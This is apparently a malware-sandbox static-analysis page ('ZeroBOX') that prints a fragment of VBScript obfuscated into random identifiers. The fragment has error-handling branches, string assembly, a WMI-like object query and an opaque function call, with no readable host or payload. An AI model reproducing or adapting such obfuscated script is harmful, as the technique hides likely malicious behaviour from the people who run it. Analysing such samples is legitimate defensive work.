Static | ZeroBOX

!& &}

if BkXJowNbhpZaxOlqWElgudeMttulOirofgQIshNIqWfgtjgYGlBXmZrVPcwjOOvlAYxnCDZGYYkFEUpUpuJhfpvGCXvvavdwNPQdWIrmxqdWyLanTbPMYvpDEvDXNgiCUaPKePHCxOSHQxuastbTLhtdWSWprmecIPpWiTtQNu(UvzlurzSjlUkVfkMrNUpLNbuyDIjhcUDMeyEaBIcfAIQucTqgBTaxbWpOUmaBBGTJEVeFKjXapuMEhXjwztOajKTmJkRQzmibViBdoSBfXhmxcMhFznmEkrPQRxgAWcCNAlHAnlaClAIoxCeSbKuXZCtDOPmZIhdMVwbCjiMag, XwVZDAVsfMEPXxnmkoyACYjMTutDyOlvrWgaFFFbkfvxswOVECkawjfnJntRmgBpJZsEqUNThcoJtNhuCEAlUdKgDdKoTbPpOCFtgvypBJlXSjQSBVkXTcejjhHqNoHyDvdvMajYMruVKkMfQmWrzSUtBwbKwlGOqgVExvuMzI, nNwiGOuviQXcWlUBPDtzwrgarQsuxRFHkCqtJmCaVkuKmAfpqctAkMdqGeWaCBWFFkMIUgtvshuSurkxAQJWIqKLhPZpDMoySOwjUHoPMICeNdwLxnXszKjmuCJzXDKMVaZKjbhBeEgGOKsIvxpStCuSDBffkmWygAPHtxxGTq, JAbQfcFiJujPlzcxMWZnQovSxKVCUGHwTArEjiqaFUifJhlUwFheatDNDZCevkaFYslVZWbWeRJqwYNQneusiedycvsrYsIToBXCKzltHGjybqgoxJovkmzwBXGlhGQZgTIsjOgPZWpOYqJdQrfwSTfoWBHHodfihDjvPcRyAG, ylVPcCewxbWqXVwwEjRNgnanBdEwIKluDsDwkcDaRqQFAAYcSMUDwbsfKAhsmHNokpmpLHJqWwuZLwYAAFyWkkJksfsuVnvNCZinuNVsjsVORCTXBCSoibdjVjlPmfQWgDsAktDHSPtVkWHISHliTlrUIPmxK

else

zvMxIkPDwwdcfVcrdFsiICwswUysMYBGzaAcEGKxOYyqLbvJWnUNGvobdreREzOHBDbpTnWTrNLbVWHRlmoWZBYMYPXPZbaAAtQEhHOlTdQXDNbGjlRKbDswHcIwvYsMAsDSKZdSdOXESlKzoquhZvzQpMuKpITZlAPvVJFLBt = JlRNvQfSIVfjgiwXxCPxIaTAtSxcoearKVjQCFTAtCsRFUtLbroMOTjvSEosJRnrZlPHzdJAreWdYIMwqndrAowZLEPFKEZCUTqMvlIFkQLfLKnKmBpNOEutFwnxdGUmKuFbQXSQrOpihJBMsjExnfTgrnEuhvIbXOaJJLiBwp

end if

if Err.Number = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc then

if ACRmVMBTvSdegupRNSgjtlqBtQefVAXrrXmIAfGCoWMfyWrXeajDzTJcHMaEwxGMaDMqAIEpHpuXpSGLaGUwlSaPivvylWVDTaSgqemUQcFsCPSxYbEEpCrKNPCuCbZyYtagQTQlzZAcXCJufAnjfKakLIvaVwmwnwsiWCnERw = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc then

else

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr UfTcjslgOFOZJdeicuKQrJvUMelRQCNPFstxQqCIXiSodWBdVsNNyboesfyTdmXjKHHPikpihQJmdZrUKlGhjIWzNzxSubFbVogjYTeSDfhNGoyIKMfFmrotzasUmJljuMrdihmoUnDtMkabizIyOJZExxhRNKlTphtCzRhdRw & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & CrdtWmmnNuTUONePOsCecEinhGHStEAfzYzDoBiAnlYVBHuPWrsrbqCIhONRoQeUOulGdyTjTonPvKEpxPFeAbgVcdUYIZQOBJcVNNklHcqYfVOphvbVtzUSrcXthkkrslyJSWdWtLscYsUNgTURGJbUxWHaKTTGsmtepSeHck & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZf

& gHfsOAkddNnqoWTjqKioyTAplgobsAVOudLKSwWYoVPzizTVRPqifbwuINpCORnOBPqETyoBzszXZZWljqEVazmQESqFmULdLIrjsmCUugyFPzflJhCpuhoxOKoDwcpuKCXLdyEUuhertOUyXKQkVplvFFgxpLvCsibGGDcnmX & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & ACRmVMBTvSdegupRNSgjtlqBtQefVAXrrXmIAfGCoWMfyWrXeajDzTJcHMaEwxGMaDMqAIEpHpuXpSGLaGUwlSaPivvylWVDTaSgqemUQcFsCPSxYbEEpCrKNPCuCbZyYtagQTQlzZAcXCJufAnjfKakLIvaVwmwnwsiWCnERw

end if

else

& boZyjFqBusztkoRTTMitkmwWcWEOGpJcRUVOWnJTRhLyrSAMlYiEtgSUFUgpETkFkyeaKPjundnqvpRplwEyGkdsLAbAzDKosJvjrmgoEPQmqCsuZfMRxDZLRCJEoAqZdZmOLoRAsgoXmNZCHAbuOxogIZeKiDYDTAiOaApIbT & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & HXkYpDmmscceVYnQpLdypKwdwiRycXNERFIsxHjOxYuZlsxhAcPHCOJDylGSmQYZZxJKapPpUSeEfyKfLLDineXXrPjdsFfMNwEHSmyqrQIRDtloCZMsyFNyTCLUVFjrIMsJIFcYqaLZhnKFUCBIaWCdmymscosSWcDnlbOrQp & PeEJjsRjcZJZhMDUxgxyEBiWIoPvZbxJAKhxNyDFNStCEvQGrrSVsYtHlhpixNTtORPmOujMoVxgqLsALfvCkybisxulvnlpYedwAKvtrvmIEWqcJqPkyOOaCxesjqxufnAIMxwxjwQgbZxaSGadgbVruKBxsalGwgpPOUlvKC(Err.Number) & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & Err.VaNdgUFYXnAwaSSZJagbMIaGxnpFCEFGhDkFWYhxaDzUmtMdGqherROyEgZUrBiUZhjIYEuHvaoKtxqmmlkUgdgBZTzneYmRVfXKvRxpsaVqbvgI

end if

else

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr DKJBFcutmEIBypJhIznqpTHUjdaVCCRsnoyjjSircymGbvOBtXWtfLtsSivePwAIIcSQEOBdFKwZzwAmYGxtYOKynuuHyFjEYglDqaukYrYfzXicYMtMSBhfXXUmIuKIvvchmNuIBtAsqOJUVAsgYYLihDsSVbzKQZHtiEuObv & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.FqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfah

YPxxNUtdxspiWLDkJSjkvUjAkDcODumizJzIHUtShwoflQadSzsSWOqRvHtHHIrCZvkbBcaJRbNMRpZKYAEkzQikBzlYcCfaKoeGmBTaegBydZutGogWqIAulRmyuvhziaZQrMgwRGxURuqMFBRpOamPVBhBBlQCaPntVAbvdt = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc

end if

zvMxIkPDwwdcfVcrdFsiICwswUysMYBGzaAcEGKxOYyqLbvJWnUNGvobdreREzOHBDbpTnWTrNLbVWHRlmoWZBYMYPXPZbaAAtQEhHOlTdQXDNbGjlRKbDswHcIwvYsMAsDSKZdSdOXESlKzoquhZvzQpMuKpITZlAPvVJFLBt = YPxxNUtdxspiWLDkJSjkvUjAkDcODumizJzIHUtShwoflQadSzsSWOqRvHtHHIrCZvkbBcaJRbNMRpZKYAEkzQikBzlYcCfaKoeGmBTaegBydZutGogWqIAulRmyuvhziaZQrMgwRGxURuqMFBRpOamPVBhBBlQCaPntVAbvdt

function PvUZIMlcSebCCGwBWKutTmoPtKoasGyJIZnSZyPVPCtTLxGNkNBiJWpyRZamJopYeWSZAljtyRFquBArfRWsFnDsXsTpRNIzDIFUSWLRsmZfMQdYaApGBKZTIocigtueMGLiICdjSNWNWLssGWcUIMSmPaLkTKOohiAbRErMYZ(UvzlurzSjlUkVfkMrNUpLNbuyDIjhcUDMeyEaBIcfAIQucTqgBTaxbWpOUmaBBGTJEVeFKjXapuMEhXjwztOajKTmJkRQzmibViBdoSBfXhmxcMhFznmEkrPQRxgAWcCNAlHAnlaClAIoxCeSbKuXZCtDOPmZIhdMVwbCjiMag, CrdtWmmnNuTUONePOsCecEinhGHStEAfzYzDoBiAnlYVBHuPWrsrbqCIhONRoQeUOulGdyTjTonPvKEpxPFeAbgVcdUYIZQOBJcVNNklHcqYfVOphvbVtzUSrcXthkkrslyJSWdWtLscYsUNgTURGJbUxWHaKTTGsmtepSeHck, JoobTpruMZugwihLmYULzXOarmaslVrVihVqXPuyQwpspUmzHBnuCVyXdhpBfTssKJvNxnWAkQgwEMYLPGrTgCstHDgDFJUZhSVXLlxiRXcyiqZBjQBIGBPNZtKNJCocSnJiAoVZIJpnYBgOauSWRMqndqFMZNVCfzrjOIDnTV, lYRJtHVTqFkxicdRwuBAzuBiucqioEzlPlpNFQvsRbHyQwfWHLLXItYamaNBuFmamKLZRyYhYKHXJoGYuuffTsfzWSGqIAuySRXuZSUxoJNkFkpHXFxfLIvFJJIxWVEszouvfPHLOOZsiBBDszRoKdIuZoGRZeyPYkmJmXVPin, nNwiGOuviQXcWlUBPDtzwrgarQsuxRFHkCqtJmCaVkuKmAfpqctAkMdqGeWaCBWFFkMIUgtvshuSurkxAQJWIqKLhPZpDMoySOwjUHoPMICeNdwLxnXszKjmuCJzXDKMVaZKjbhBeEgGOKsIvxpStCuS

zJYBwBAJEsSbKNqHiyaoHPvUGEvwGpqWeUJjjdAPLSearkZmNPjTtjRhhHJJfUiPcvsWRUdwHVnVRkNfZdsFMNNnKmlachppyQQMfdTqlsnBVQASpgETERvbZIbfglMYvUjTFTREGCcRoztVndWCrKyXLBIRtjlMpmzjCzQZTc OFJzkLqYdSxUQSapZBgpKSNZAqkmQpZSNPZMomLVDxIsXxZCSWVbeCcyBDDCqIMPNUOjQFWhsiefEOjeLgerArcsyPtByYCacVSUznDHPqdHUavHTvaypvnpcrCUwGHBqSMJyJNXXRSEzCkjqEXFghRGNHiwcJGnQuHheauAwc, KVPXvMBXzXplxatoefZsKiNsdWfwvMedYcGPJJlGBVrmxrjhSLqJnhfFtUcQIlsuEbPncDpjjfCjLLYayoAeUQileiljoyCRCZeUtgxXyzJLLtXdLXSkVbMSYGLAuiIpvombMndtFftyGHiTFQvSEuwTzAlbxKNYCJjGWOdFgZ

YPxxNUtdxspiWLDkJSjkvUjAkDcODumizJzIHUtShwoflQadSzsSWOqRvHtHHIrCZvkbBcaJRbNMRpZKYAEkzQikBzlYcCfaKoeGmBTaegBydZutGogWqIAulRmyuvhziaZQrMgwRGxURuqMFBRpOamPVBhBBlQCaPntVAbvdt = JlRNvQfSIVfjgiwXxCPxIaTAtSxcoearKVjQCFTAtCsRFUtLbroMOTjvSEosJRnrZlPHzdJAreWdYIMwqndrAowZLEPFKEZCUTqMvlIFkQLfLKnKmBpNOEutFwnxdGUmKuFbQXSQrOpihJBMsjExnfTgrnEuhvIbXOaJJLiBwp

AiSjgblNYVwjGnPAWCbrXqMrsiDHJzeBPdIzUBGwDnwzxfOhlwrQtgcxCtoEzJSuCXaUxctQbaAfLNBBeSbLtSdWuIwaAfwrsSMxhHxCLlxZGVBxJCnIMrlNoHDUfGYtkQiRKDKASVLaGSCBuFKhJTwFgNrdcPmZIOEuYQALha = CrdtWmmnNuTUONePOsCecEinhGHStEAfzYzDoBiAnlYVBHuPWrsrbqCIhONRoQeUOulGdyTjTonPvKEpxPFeAbgVcdUYIZQOBJcVNNklHcqYfVOphvbVtzUSrcXthkkrslyJSWdWtLscYsUNgTURGJbUxWHaKTTGsmtepSeHck & "," & jBoDLzLSxoMfXuupZzmPRnrOsjLccbkHhgklbPGkbcfYQSIbRhTmndFhPWfRqAefZVjEKIGzDXVeZMwRqjUcYddQBwbOAqvJosFgDfLCsQqmfaBLHJPVSTVAngWHhGZKEwWcpdAUyRWQycYcbhNxwuITJIkEDHQpMdTiJgHMvb(JoobTpruMZugwihLmYULzXOarmaslVrVihVqXPuyQwpspUmzHBnuCVyXdhpBfTssKJvNxnWAkQgwEMYLPGrTgCstHDgDFJUZhSVXLlxiRXcyiqZBjQBIGBPNZtKNJCocSnJiAoVZIJpnYBgOauSWRMqndqFMZNVCfzrjOIDnTV) & "," & lYRJtHVTqFkxicdRwuBAzuBiucqioEzlPlpNFQvsRbHyQwfWHLLXItYamaNBuFmamKLZRyYhYKHXJoGYuuffTsfzWSGqIAuySRXuZSUxoJNkFkpHXFxfLIvFJJIxWVEszouvfPHLOOZsiBBDszRoKdIuZoGRZeyPYkmJmXVPin

set tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll = ylVPcCewxbWqXVwwEjRNgnanBdEwIKluDsDwkcDaRqQFAAYcSMUDwbsfKAhsmHNokpmpLHJqWwuZLwYAAFyWkkJksfsuVnvNCZinuNVsjsVORCTXBCSoibdjVjlPmfQWgDsAktDHSPtVkWHISHliTlrUIPmxKKnoKMtRTFPZKV.Get("fRPVXZjyayUDxngLYvbWIvRsIkNYDLtBstvStzHwCGYQxqrQNQePFRjuGSzrdQNgxtCVmCJgYSJcosORFbYhPerHWEBIunHiLfPgAQuCRFIKRReYmLZwEfjexLPSFSCBnbvJkYGvyBRfLWfYwBssuqGTEohEqfEOFNvFLGiaRu.FqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlUUeQeNWbyFEAcwMqdIcAGr='" & AiSjgblNYVwjGnPAWCbrXqMrsiDHJzeBPdIzUBGwDnwzxfOhlwrQtgcxCtoEzJSuCXaUxctQbaAfLNBBeSbLtSdWuIwaAfwrsSMxhHxCLlxZGVBxJCnIMrlNoHDUfGYtkQiRKDKASVLaGSCBuFKhJTwFgNrdcPmZIOEuYQALha & "'")

else

PvUZIMlcSebCCGwBWKutTmoPtKoasGyJIZnSZyPVPCtTLxGNkNBiJWpyRZamJopYeWSZAljtyRFquBArfRWsFnDsXsTpRNIzDIFUSWLRsmZfMQdYaApGBKZTIocigtueMGLiICdjSNWNWLssGWcUIMSmPaLkTKOohiAbRErMYZ = JlRNvQfSIVfjgiwXxCPxIaTAtSxcoearKVjQCFTAtCsRFUtLbroMOTjvSEosJRnrZlPHzdJAreWdYIMwqndrAowZLEPFKEZCUTqMvlIFkQLfLKnKmBpNOEutFwnxdGUmKuFbQXSQrOpihJBMsjExnfTgrnEuhvIbXOaJJLiBwp

exit function

end if

if Err.Number = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc then

tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.ITfmQFTvmREOBulTcdJowtaNRjKBrnDbKaspyfrbHXcEtQfQphZuGlghrCaCMEwnhYPboiYkXabyLXlHCgoFkHDcypXsIrTGLjKRpJnadQrKYqnfewGlgkkYtfupOIufuMtoPHwyvaqeKoNsRcpXhckiDUwcFDHUkcLhAJkakc

if Err.Number = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc then

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr WEuoWyIMdeItKsotSoYqSElbOgxsSFbrVmstzLQSvKkjzTjcMsbPdzmliCeUhqFfYRmvVowIAOQYEmUJMyWbOwLDjEhPjMlQLFOOEMpbPaeZCVhZAXWgQuSydEkGIbHyeYSfkzPpNPdSDuyXzySbFjbLIoGTqadRXGxTaSwYKQ & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.FqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlU

else

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr rxZtfZdwtcuWDNxUhfixaVSsCQnvQaevhPMKRvjqKXvCvbnIGBCZzBtDXlWXHrcsgmMJDoZApwpJdcPVRRPqfZtfWdTzEdfOeTmehSHfqjdpmzRLTStrTWcsjZTtQbvDToUxhYuUyRBJjXqefuDwpZYscWlggvtHEPGRLOgyNU & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & CrdtWmmnNuTUONePOsCecEinhGHStEAfzYzDoBiAnlYVBHuPWrsrbqCIhONRoQeUOulGdyTjTonPvKEpxPFeAbgVcdUYIZQOBJcVNNklHcqYfVOphvbVtzUSrcXthkkrslyJSWdWtLscYsUNgTURGJbUxWHaKTTGsmtepSeHck & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEI

& oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & Err.VaNdgUFYXnAwaSSZJagbMIaGxnpFCEFGhDkFWYhxaDzUmtMdGqherROyEgZUrBiUZhjIYEuHvaoKtxqmmlkUgdgBZTzneYmRVfXKvRxpsaVqbvgIguxlwWfaVWiNXdMJxjZtcMxlMDjPhvTFUWNloVVdDxHGeVCCCXarzKPdQe

call rGFLipnPMUmLGGlLXMJaGdZSiBzmtcahLWTZiizKPlAFZkTAkqjzcRMpMHFgebbWUkRqngvPIavjQlqUoKiTmYrdEnLIKmJHVaPzgFOuoKreDIAiCuQoVwZrdMRSLfOuaizisBuJMhgSwqOSWCOqEkjjGzhHcdBFkcZRbjvHGT()

end if

else

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr rxZtfZdwtcuWDNxUhfixaVSsCQnvQaevhPMKRvjqKXvCvbnIGBCZzBtDXlWXHrcsgmMJDoZApwpJdcPVRRPqfZtfWdTzEdfOeTmehSHfqjdpmzRLTStrTWcsjZTtQbvDToUxhYuUyRBJjXqefuDwpZYscWlggvtHEPGRLOgyNU & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & CrdtWmmnNuTUONePOsCecEinhGHStEAfzYzDoBiAnlYVBHuPWrsrbqCIhONRoQeUOulGdyTjTonPvKEpxPFeAbgVcdUYIZQOBJcVNNklHcqYfVOphvbVtzUSrcXthkkrslyJSWdWtLscYsUNgTURGJbUxWHaKTTGsmtepSeHck & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRc

end if

PvUZIMlcSebCCGwBWKutTmoPtKoasGyJIZnSZyPVPCtTLxGNkNBiJWpyRZamJopYeWSZAljtyRFquBArfRWsFnDsXsTpRNIzDIFUSWLRsmZfMQdYaApGBKZTIocigtueMGLiICdjSNWNWLssGWcUIMSmPaLkTKOohiAbRErMYZ = YPxxNUtdxspiWLDkJSjkvUjAkDcODumizJzIHUtShwoflQadSzsSWOqRvHtHHIrCZvkbBcaJRbNMRpZKYAEkzQikBzlYcCfaKoeGmBTaegBydZutGogWqIAulRmyuvhziaZQrMgwRGxURuqMFBRpOamPVBhBBlQCaPntVAbvdt

end function

function VpHYhVvPxBFktYZUpOnSTUnZsisYOiEpOXPdroAkaqUwMhcXOyDjkgsbhgYJkxMLCMYPPbqQmnEfGVsLKPKrAqCAYQubFChRFooEyMBigqQiYBPwEBXScxMjTLjSqRHfnDwYwIszVqOQpMrIQxpliwXxcOfkWDSEsDaqIZhAns(UvzlurzSjlUkVfkMrNUpLNbuyDIjhcUDMeyEaBIcfAIQucTqgBTaxbWpOUmaBBGTJEVeFKjXapuMEhXjwztOajKTmJkRQzmibViBdoSBfXhmxcMhFznmEkrPQRxgAWcCNAlHAnlaClAIoxCeSbKuXZCtDOPmZIhdMVwbCjiMag, nNwiGOuviQXcWlUBPDtzwrgarQsuxRFHkCqtJmCaVkuKmAfpqctAkMdqGeWaCBWFFkMIUgtvshuSurkxAQJWIqKLhPZpDMoySOwjUHoPMICeNdwLxnXszKjmuCJzXDKMVaZKjbhBeEgGOKsIvxpStCuSDBffkmWygAPHtxxGTq, JAbQfcFiJujPlzcxMWZnQovSxKVCUGHwTArEjiqaFUifJhlUwFheatDNDZCevkaFYslVZWbWeRJqwYNQneusiedycvsrYsIToBXCKzltHGjybqgoxJovkmzwBXGlhGQZgTIsjOgPZWpOYqJdQrfwSTfoWBHHodfihDjvPcRyAG)

zJYBwBAJEsSbKNqHiyaoHPvUGEvwGpqWeUJjjdAPLSearkZmNPjTtjRhhHJJfUiPcvsWRUdwHVnVRkNfZdsFMNNnKmlachppyQQMfdTqlsnBVQASpgETERvbZIbfglMYvUjTFTREGCcRoztVndWCrKyXLBIRtjlMpmzjCzQZTc OFJzkLqYdSxUQSapZBgpKSNZAqkmQpZSNPZMomLVDxIsXxZCSWVbeCcyBDDCqIMPNUOjQFWhsiefEOjeLgerArcsyPtByYCacVSUznDHPqdHUavHTvaypvnpcrCUwGHBqSMJyJNXXRSEzCkjqEXFghRGNHiwcJGnQuHheauAwc, uToJAfIvdcjDkOLyYxKLhiTyfjPLxcPAWlsjgOwedznvhDdgRJdYPUWtrJeOyiQuAZoSyyDqoYqxRAZtrITLOtoVHwvqNzDvVKeUSHVQPxRZwxcITTCGAVQpEoqteuHkDJoCIeLcHtTkOGJuYGFQtFlDnacQWYZbBJIcCnorCy

